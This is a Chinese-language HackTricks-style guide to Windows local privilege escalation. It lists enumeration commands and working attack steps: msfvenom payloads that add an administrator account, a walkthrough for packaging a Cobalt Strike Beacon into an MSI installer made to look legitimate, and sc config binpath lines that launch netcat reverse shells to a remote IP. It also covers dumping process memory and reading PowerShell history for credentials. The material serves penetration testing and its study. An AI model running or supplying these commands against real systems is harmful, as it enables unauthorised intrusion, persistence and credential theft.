Windows Local Privilege Escalation

从零开始学习 AWS 黑客技术,成为 htARTE(HackTricks AWS 红队专家)

查找 Windows 本地权限提升向量的最佳工具: WinPEAS

初始 Windows 理论

访问令牌

如果您不知道 Windows 访问令牌是什么,请在继续之前阅读以下页面:

Access Tokens

ACLs - DACLs/SACLs/ACEs

有关 ACLs - DACLs/SACLs/ACEs 的更多信息,请查看以下页面:

ACLs - DACLs/SACLs/ACEs

完整性级别

如果您不知道 Windows 中的完整性级别是什么,应在继续之前阅读以下页面:

Integrity Levels

Windows 安全控制

Windows 中有不同的事物可能阻止您枚举系统,运行可执行文件,甚至检测您的活动。 在开始权限提升枚举之前,您应该阅读以下页面枚举所有这些防御机制

Windows Security Controls

系统信息

版本信息枚举

检查 Windows 版本是否存在已知漏洞(还要检查应用的补丁)。

systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architecture
[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches

版本漏洞

这个网站对于查找有关微软安全漏洞的详细信息非常方便。该数据库中有超过4,700个安全漏洞,显示了Windows环境所面临的巨大攻击面

在系统上

  • post/windows/gather/enum_patches

  • post/multi/recon/local_exploit_suggester

  • winpeas (Winpeas内置watson)

本地系统信息

漏洞的Github仓库:

环境

环境变量中保存了任何凭据/敏感信息吗?

set
dir env:
Get-ChildItem Env: | ft Key,Value

PowerShell 历史

ConsoleHost_history #Find the PATH where is saved

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw

PowerShell 传输文件

您可以在https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/了解如何打开此功能。

#Check is enable in the registry
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
dir C:\Transcripts

#Start a Transcription session
Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber
Stop-Transcript

PowerShell模块日志记录

记录PowerShell管道执行的详细信息,包括执行的命令、命令调用和脚本的部分。但是,可能无法捕获完整的执行详细信息和输出结果。

要启用此功能,请按照文档中“Transcript files”部分的说明操作,选择**“模块日志记录”而不是“PowerShell转录”**。

reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging

要查看PowerShell日志中的最后15个事件,您可以执行:

Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView

PowerShell 脚本块记录

捕获脚本执行的完整活动和完整内容记录,确保在运行时记录每个代码块。该过程保留了每个活动的全面审计跟踪,对取证和分析恶意行为非常有价值。通过记录执行时的所有活动,提供了对过程的详细洞察。

reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging

脚本块的日志事件可以在Windows事件查看器中的路径中找到:应用程序和服务日志 > Microsoft > Windows > PowerShell > 运行。 要查看最后的20个事件,您可以使用:

Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview

互联网设置

reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings"

驱动器

wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root

WSUS

如果更新不是通过 httpS 而是 http 请求的话,您可以妥协系统。

您可以通过运行以下命令来检查网络是否使用非 SSL 的 WSUS 更新:

reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer

如果您收到如下回复:

HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer    REG_SZ    http://xxxx-updxx.corp.internal.com:8535

如果 HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer 等于 1

那么,它是可利用的。如果最后一个注册表等于 0,则 WSUS 条目将被忽略。

为了利用这些漏洞,您可以使用工具如:WsuxploitpyWSUS - 这些是用于向非 SSL WSUS 流量注入“假”更新的中间人武器化利用脚本。

阅读研究报告:

WSUS CVE-2020-1013

阅读完整报告。 基本上,这是该漏洞利用的缺陷:

如果我们有权修改本地用户代理,并且 Windows 更新使用 Internet Explorer 设置中配置的代理,则我们有权在我们的资产上以提升的用户身份运行 PyWSUS 以拦截我们自己的流量并以提升的用户身份运行代码。

此外,由于 WSUS 服务使用当前用户的设置,它还将使用其证书存储。如果我们为 WSUS 主机名生成自签名证书并将此证书添加到当前用户的证书存储中,我们将能够拦截 HTTP 和 HTTPS WSUS 流量。WSUS 不使用类似 HSTS 的机制来对证书进行首次使用时的信任验证。如果用户信任并且具有正确主机名的证书被呈现,服务将接受该证书。

您可以使用工具 WSUSpicious 来利用此漏洞(一旦被释放)。

KrbRelayUp

在特定条件下,Windows 环境中存在本地权限提升漏洞。这些条件包括未强制执行 LDAP 签名的环境,用户拥有允许他们配置基于资源的受限委派 (RBCD) 的自身权限,并且用户有能力在域内创建计算机。重要的是要注意,这些要求是使用默认设置满足的。

https://github.com/Dec0ne/KrbRelayUp 中找到漏洞利用

有关攻击流程的更多信息,请查看 https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/

AlwaysInstallElevated

如果这两个注册表已启用(值为 0x1),则任何权限的用户都可以将 *.msi 文件安装(执行)为 NT AUTHORITY\SYSTEM

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Metasploit 载荷

msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted

如果您拥有一个 Meterpreter 会话,您可以使用模块 exploit/windows/local/always_install_elevated 来自动化这个技术。

PowerUP

使用 power-up 中的 Write-UserAddMSI 命令,在当前目录中创建一个 Windows MSI 二进制文件以提升权限。此脚本会编写一个预编译的 MSI 安装程序,提示添加用户/组(因此您需要 GUI 访问):

Write-UserAddMSI

执行已创建的二进制文件以提升权限。

MSI包装器

阅读此教程以了解如何使用此工具创建MSI包装器。请注意,如果您只想执行命令行,可以包装一个 ".bat" 文件

MSI Wrapper

使用WIX创建MSI

Create MSI with WIX

使用Visual Studio创建MSI

  • 使用 Cobalt Strike 或 Metasploit 在 C:\privesc\beacon.exe 中生成一个新的Windows EXE TCP payload

  • 打开 Visual Studio,选择 创建新项目,在搜索框中输入 "installer"。选择 Setup Wizard 项目,然后点击 下一步

  • 给项目命名,如 AlwaysPrivesc,使用 C:\privesc 作为位置,选择 将解决方案和项目放在同一目录中,然后点击 创建

  • 一直点击 下一步,直到到达第3步(选择要包含的文件)。点击 添加,选择刚刚生成的 Beacon payload。然后点击 完成

  • 解决方案资源管理器 中突出显示 AlwaysPrivesc 项目,在 属性 中,将 TargetPlatformx86 更改为 x64

  • 您可以更改其他属性,例如 AuthorManufacturer,这可以使安装的应用程序看起来更合法。

  • 右键单击项目,选择 查看 > 自定义操作

  • 右键单击 Install,选择 添加自定义操作

  • 双击 Application Folder,选择您的 beacon.exe 文件,然后点击 确定。这将确保在运行安装程序时立即执行 Beacon 负载。

  • 自定义操作属性 下,将 Run64Bit 更改为 True

  • 最后,构建它。

  • 如果显示警告 File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86',请确保将平台设置为 x64。

MSI安装

要在后台执行恶意 .msi 文件的安装

msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi

利用此漏洞,您可以使用:exploit/windows/local/always_install_elevated

杀毒软件和检测器

审计设置

这些设置决定了被记录的内容,因此您应该注意

reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit

WEF

Windows Event Forwarding,了解日志发送到哪里很有趣

reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager

LAPS

LAPS旨在用于管理本地管理员密码,确保每个密码在加入域的计算机上是唯一的、随机的和定期更新的。这些密码安全地存储在Active Directory中,只有通过ACLs被授予足够权限的用户才能访问,允许他们在获得授权的情况下查看本地管理员密码。

LAPS

WDigest

如果激活,明文密码将存储在LSASS(本地安全性局子系统服务)。 有关WDigest的更多信息,请查看此页面

reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential

LSA 保护

Windows 8.1 开始,微软引入了增强的本地安全机构(LSA)保护,以阻止不受信任的进程读取其内存或注入代码,进一步加固系统。 有关 LSA 保护的更多信息,请点击此处

reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL

凭据保护

凭据保护 是在 Windows 10 中引入的。其目的是保护设备上存储的凭据免受像传递哈希攻击这样的威胁。有关凭据保护的更多信息,请点击这里。

reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags

缓存凭据

域凭据本地安全机构(LSA)进行身份验证,并被操作系统组件使用。当用户的登录数据由注册的安全包进行身份验证时,通常会建立用户的域凭据。 有关缓存凭据的更多信息,请点击此处

reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT

用户和组

枚举用户和组

您应该检查您所属的任何组是否具有有趣的权限。

# CMD
net users %username% #Me
net users #All local users
net localgroup #Groups
net localgroup Administrators #Who is inside Administrators group
whoami /all #Check the privileges

# PS
Get-WmiObject -Class Win32_UserAccount
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
Get-LocalGroupMember Administrators | ft Name, PrincipalSource

特权组

如果您属于某些特权组,您可能能够提升权限。在这里了解特权组以及如何滥用它们来提升权限:

Privileged Groups

令牌操纵

在这个页面了解更多关于令牌是什么:Windows 令牌。 查看以下页面以了解有关有趣令牌的信息以及如何滥用它们:

Abusing Tokens

记录的用户 / 会话

qwinsta
klist sessions

用户文件夹

dir C:\Users
Get-ChildItem C:\Users

密码策略

net accounts

获取剪贴板的内容

powershell -command "Get-Clipboard"

运行中的进程

文件和文件夹权限

首先,列出进程检查进程的命令行中是否包含密码。 检查是否可以覆盖某些正在运行的二进制文件,或者是否具有二进制文件夹的写入权限,以利用可能的DLL劫持攻击

Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes

#With allowed Usernames
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize

#Without usernames
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id

始终检查可能正在运行的electron/cef/chromium调试器,您可以滥用它来提升权限

检查进程二进制文件的权限

for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
icacls "%%z"
2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.
)
)

检查进程二进制文件夹的权限(DLL劫持

for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users
todos %username%" && echo.
)

内存密码挖掘

您可以使用来自Sysinternals的procdump创建运行中进程的内存转储。像FTP这样的服务在内存中以明文形式存储凭据,尝试转储内存并读取凭据。

procdump.exe -accepteula -ma <proc_name_tasklist>

不安全的 GUI 应用程序

以 SYSTEM 身份运行的应用程序可能允许用户生成 CMD,或浏览目录。

示例:"Windows 帮助和支持"(Windows + F1),搜索 "命令提示符",点击 "单击以打开命令提示符"

服务

获取服务列表:

net start
wmic service list brief
sc query
Get-Service

权限

您可以使用 sc 命令获取服务的信息

sc qc <service_name>

建议使用来自_Sysinternals_的二进制文件accesschk来检查每个服务所需的特权级别。

accesschk.exe -ucqv <Service_Name> #Check rights for different groups

建议检查是否“已验证用户”可以修改任何服务:

accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version

您可以在此处下载适用于XP的accesschk.exe

启用服务

如果您遇到此错误(例如与SSDPSRV有关):

System error 1058 has occurred. The service cannot be started, either because it is disabled or because it has no enabled devices associated with it.

您可以使用以下方法启用它

sc config SSDPSRV start= demand
sc config SSDPSRV obj= ".\LocalSystem" password= ""

请注意,服务upnphost依赖于SSDPSRV才能正常工作(适用于XP SP1)

另一种解决方法是运行:

sc.exe config usosvc start= auto

修改服务二进制路径

在“已验证用户”组拥有服务上的SERVICE_ALL_ACCESS权限的情况下,可以修改服务的可执行二进制文件。要修改并执行sc

sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config <Service_Name> binpath= "net localgroup administrators username /add"
sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"

sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"

重新启动服务

wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]

特权可以通过各种权限进行提升:

  • SERVICE_CHANGE_CONFIG:允许重新配置服务二进制文件。

  • WRITE_DAC:启用权限重新配置,从而可以更改服务配置。

  • WRITE_OWNER:允许获取所有权并重新配置权限。

  • GENERIC_WRITE:继承更改服务配置的能力。

  • GENERIC_ALL:也继承更改服务配置的能力。

要检测和利用此漏洞,可以使用_exploit/windows/local/service_permissions_。

服务二进制文件权限弱

检查是否可以修改由服务执行的二进制文件,或者是否具有二进制文件所在文件夹的写入权限DLL 劫持) 您可以使用wmic(不在system32中)获取由服务执行的每个二进制文件,并使用icacls检查您的权限:

for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt

for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"

你也可以使用 scicacls

sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt

服务注册表修改权限

您应该检查是否可以修改任何服务注册表。 您可以通过以下方式检查您对服务注册表的权限:

reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services

#Try to write every service with its current content (to check if you have write permissions)
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a

get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"

应检查Authenticated UsersNT AUTHORITY\INTERACTIVE是否拥有FullControl权限。如果是这样,服务执行的二进制文件可能会被更改。

要更改执行的二进制文件的路径:

reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f

服务注册表AppendData/AddSubdirectory权限

如果您对注册表具有此权限,则意味着您可以从此注册表创建子注册表。在Windows服务的情况下,这已经足以执行任意代码

AppendData/AddSubdirectory permission over service registry

未加引号的服务路径

如果可执行文件的路径没有在引号内,Windows将尝试执行空格之前的每个结尾。

例如,对于路径_C:\Program Files\Some Folder\Service.exe_,Windows将尝试执行:

C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe

列出所有未加引号的服务路径,不包括内置Windows服务的路径:

wmic service get name,displayname,pathname,startmode |findstr /i "Auto" | findstr /i /v "C:\Windows\\" |findstr /i /v """
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v """ #Not only auto services

#Other way
for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do (
echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
)
)
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name

您可以使用metasploit检测和利用这个漏洞:exploit/windows/local/trusted\_service\_path 您也可以手动使用metasploit创建一个服务二进制文件:

msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe

恢复操作

Windows允许用户指定服务失败时要执行的操作。可以配置此功能指向一个可替换的二进制文件。如果这个二进制文件是可替换的,可能会导致特权升级。更多详细信息可以在官方文档中找到。

应用程序

已安装应用程序

检查二进制文件的权限(也许您可以覆盖其中一个并提升权限)以及文件夹的权限(DLL劫持)。

dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE

Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name

写权限

检查是否可以修改某些配置文件以读取某些特殊文件,或者是否可以修改某个将由管理员帐户执行的二进制文件(schedtasks)。

发现系统中弱文件/文件夹权限的一种方法是执行:

accesschk.exe /accepteula
# Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
accesschk.exe -uwdqs "Everyone" c:\
# Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
accesschk.exe -uwdqs "Everyone" c:\*.*
icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}

Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}

开机自启

检查是否可以覆盖一些将由不同用户执行的注册表或二进制文件。 阅读以下页面以了解更多有关提升权限的有趣自启动位置的信息:

Privilege Escalation with Autoruns

驱动程序

寻找可能存在的第三方奇怪/易受攻击的驱动程序

driverquery
driverquery.exe /fo table
driverquery /SI

PATH DLL 劫持

如果您在 PATH 中具有写入权限,您可能能够劫持进程加载的 DLL 并提升权限

检查 PATH 中所有文件夹的权限:

for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )

要了解如何滥用此检查的更多信息:

Writable Sys Path +Dll Hijacking Privesc

网络

共享

net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares

hosts文件

检查hosts文件中是否有其他已知计算机的硬编码信息

type C:\Windows\System32\drivers\etc\hosts

网络接口和DNS

ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft

开放端口

检查外部是否存在受限制的服务

netstat -ano #Opened ports?

路由表

route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex

ARP表

arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L

防火墙规则

查看此页面以获取与防火墙相关的命令 (列出规则,创建规则,关闭,关闭...)

更多此处的网络枚举命令

Windows子系统Linux(WSL)

C:\Windows\System32\bash.exe
C:\Windows\System32\wsl.exe

二进制文件 bash.exe 也可以在 C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe 中找到。

如果您获得 root 用户权限,您可以监听任何端口(第一次使用 nc.exe 监听端口时,它会通过 GUI 询问是否应允许防火墙通过 nc)。

wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'

要轻松以root身份启动bash,可以尝试--default-user root

您可以在文件夹C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\中探索WSL文件系统